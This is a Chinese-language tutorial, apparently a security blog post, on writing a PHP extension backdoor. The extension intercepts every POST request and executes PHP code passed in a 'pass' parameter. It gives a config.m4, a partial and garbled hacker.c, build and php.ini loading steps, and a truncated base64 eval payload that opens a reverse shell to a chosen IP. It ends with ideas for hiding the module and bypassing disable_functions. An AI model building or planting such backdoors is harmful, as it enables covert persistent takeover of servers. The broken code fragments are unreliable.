⼿把⼿教你编写⼀个简单的PHP模块形态的后门
看到Freebuf ⼩编发表的⽤这个隐藏于PHP模块中的rootkit,就能持久接管服务器,很感兴趣,苦⽆作者没留下PoC,⾃⼰研究⼀番,有了此⽂
0×00. 引⾔
PHP是⼀个⾮常流⾏的web server端的script语⾔.⽬前很多web应⽤程序都基于php语⾔实现。由于php是个开源软件并易于扩展,所以我们可以通过编写⼀个PHP模块(module 或者叫扩展 extension)来实现⼀个Backdoor。 本⽂就简单介下如何⼀步步编写⼀个简单的php 动态扩展后门。
0×01. php 扩后门的简单设计
出于教学⽬的,这个动态扩展后门的功能设计⽐较简单:
1). 通过过滤⽤户提交的特定变量来启动Backdoor.
2). 直接执⾏⽤户提交的php代码.
对于1)中过滤⽤户提交的变量有两种⽅法
⽅法1:
⽅法2:
从php内建的数组⾥获取变量(即从php内核中获取变量),这也是本⽂所要⽤到的⽅法
0×02. 开始编写扩展后门代码
结合0×01中php后门的设计,本⽂中要实现的后门功能为:
只要php解释器加载了这个扩展,那么对于每⼀次http POST 请求,这个扩展都会拦截,检查⼀下是否有pass参数,如果有,则执⾏pass 参数的值中的php代码
本⽂⽤最快的(不是最标准的,标准的扩展⼀般还会单独写.h的头⽂件)的⽅式来建⽴⼀个简单的php扩展,共计两个⽂件,⼀个是编译配置⽂件config.m4, ⼀个是后门扩展源码hacker.c
关于config.m4
1) config.m4 内容
PHP_ARG_ENABLE(hacker, 0,0)
PHP_NEW_EXTENSION(hacker, hacker.c, $ext_shared)
就两⾏,很简单,这⾥做个解释
PHP_ARG_ENABLE
含有有三个参数,
第1个参数是我们扩展的名字,这⾥为hacker
第2个参数是我们运⾏./configure 脚本时显要指定⽰的内容,这⾥没有配置,即为0
第3个参数是我们在调⽤./configure –help 的 时候要指定显⽰的帮助信息,这⾥也没有配置,为0
PHP_NEW_EXTENSION
PHP_NEW_EXTENSION(hacker, hacker.c, $ext_shared)
第1个参数是模块名字,这⾥为hacker
第2个参数表⽰的是编译模块需要的源⽂件名称 ,这⾥为hacker.c
如果我们的扩展使⽤了多个⽂件,便可以将这多个⽂件名罗列在函数的参数⾥,不同源⽂件之间以空格隔开, ⽐如:
PHP_NEW_EXTENSION(sample, sample.c sample2.c sample3.c, $ext_shared)
第3个参数表⽰的是编译的形式,这⾥的$ext_shared参数⽤来声明这个扩展不是⼀个静态模块,⽽是在php运⾏时动态加载的。
2)后门扩展源码hacker.c
代码⽐较简单,主要有以下:
zend_module_entry 结构体定义,必须
ZEND_GET_MODULE  编译加载模块并返回zend_module_entry的指针,必须
模块运⾏时函数声明,标准的扩展都会在.h的都⽂件中声明,这⾥就在.c的源代码中⼀起声明了
模块运⾏时函数定义
具体代码:
#include "php.h"
//模块运⾏时函数声明
PHP_RINIT_FUNCTION(hacker);
//zend_module_entry 结构体定义    zend_module_entry hacker_module_entry = {    #if ZEND_MODULE_API_NO >= 20010901    STANDARD_MODULE_HEA    代码解释补充
#include "php.h"
php.h, 位于PHP 主⽬录。这个⽂件包含了绝⼤部分 PHP 宏及 API 定义。编写php扩展必备,需要安装php开发库,以centos7
php5.5 为例
yum install php5-devel
zend_module_entry 是编写php 动态加载模块必须注册的⼀个结构体,hacker_module_entry是结构体名字,命名规范为:模块名
_module_entry, 来解释⼀下这个结构体:
#if ZEND_MODULE_API_NO >= 20010901
STANDARD_MODULE_HEADER,
#endif
依据ZEND_MODULE_API_NO 是否⼤于等于 20010901,这个结构体需要不同的定义格式。20010901⼤约代表PHP4.2.0版本,所以我们现在的扩展⼏乎都要包含STANDARD_MODULE_HEADER这个元素了php如何运行代码
在php⽣命周期中,ZendEngine⾸先要初始化module,每个module中定义的PHP_MINIT_FUNCTION函数作为初始化代码(ModuleInit)都会被执⾏⼀次,⽽PHP_RINIT_FUNCTION函数则是在每次页⾯被请求的时候(RuntimeInit)都会执⾏⼀次。 因此对php函数的hook,设置php环境变量,对user input的过滤,都可以根据需要在这两个函数中进⾏.本⽂扩展后门就是在RuntimeInit时候对变量进⾏hook。 然后在PHP_MSHUTDOWN_FUNCTION和PHP_RSHUTDOWN_FUNCTION中进⾏相应的清理.⽽作为
Backdoor,PHP_MINFO_FUNCTION函数对我们则没什么必要,可以把这⾥设置为NULL。
0×03. 测试
1. 编译环境:
centos7 x64
php5.4
需事先安装好phpize
2. 编译后门
1) 先运⾏phpize,⽣成编译配置⽂件
2)./configure && make && make test
3) make install
默认安装在/usr/lib64/php/modules/, 当然你也可以⽤–prefix指定安装⽬录
3. 配置 php.ini,启⽤后门
重启httpd服务
使⽤php -m 查看是否模块加载成功
⾄此,php 扩展后门加载成功,下⾯就需要客户端发送触发代码,触发后门执⾏
4. 客户端开始监听,等待反弹
5. 客户端发送恶意代码触发后门反弹shell
在github上到⼀个php反弹后门代码:
修改以下反弹IP和端⼝,然后在除去换⾏符,再进⾏base64编码,最后处理如下:
eval(base64_decode('CiRjYmhvc3QgPSAnMTAuMS4xMDAuMyc7IAokY2Jwb3J0ID0gJzMxMzM0JzsgCmVjaG8gInsrfSBVc2luZyAiLiRjYmhvc3QuIjoiLiRjYnBvcnQu
使⽤burpsuite 发送POST请求,参数为pass,值为上述eval(base64_decode 那⼀串值
成功反弹shell
0×04. 总结
本⽂所涉及的php 扩展后门是相对⽐较简单的,只是为了演⽰教学之⽬的。
如果系统禁⽤了eval等函数,还需要通过在后门中加⼊模块初始化函数(PHP_MINIT_FUNCTION),动态修改php.ini以达到绕过
disable_function的⽬的,另外,为了更好地隐藏⾃⾝,还需要在伪装性上下点功夫,⽐如利⽤同形异义字欺骗⽤户的眼睛,⽐如使得模块
名不在php -m中显⽰等,当然这是后话,希望后续能有这样的⽂章出现。
参考:
/software/autoconf/manual
www.cunmou/phpbook/2.5.md
wwwblogs/beatzeus/p/6085366.html
www.cunmou/phpbook/5.1.md
www.cunmou/phpbook/17.3.md
github/ForrestX386/tcp_killer
php.webtutor.pl/en/2001/07/07/zend_get_module/
wwwblogs/bqrm/archive/2012/10/12/2721440.html
m.php/write/910.html
xfocus/articles/200705/920.html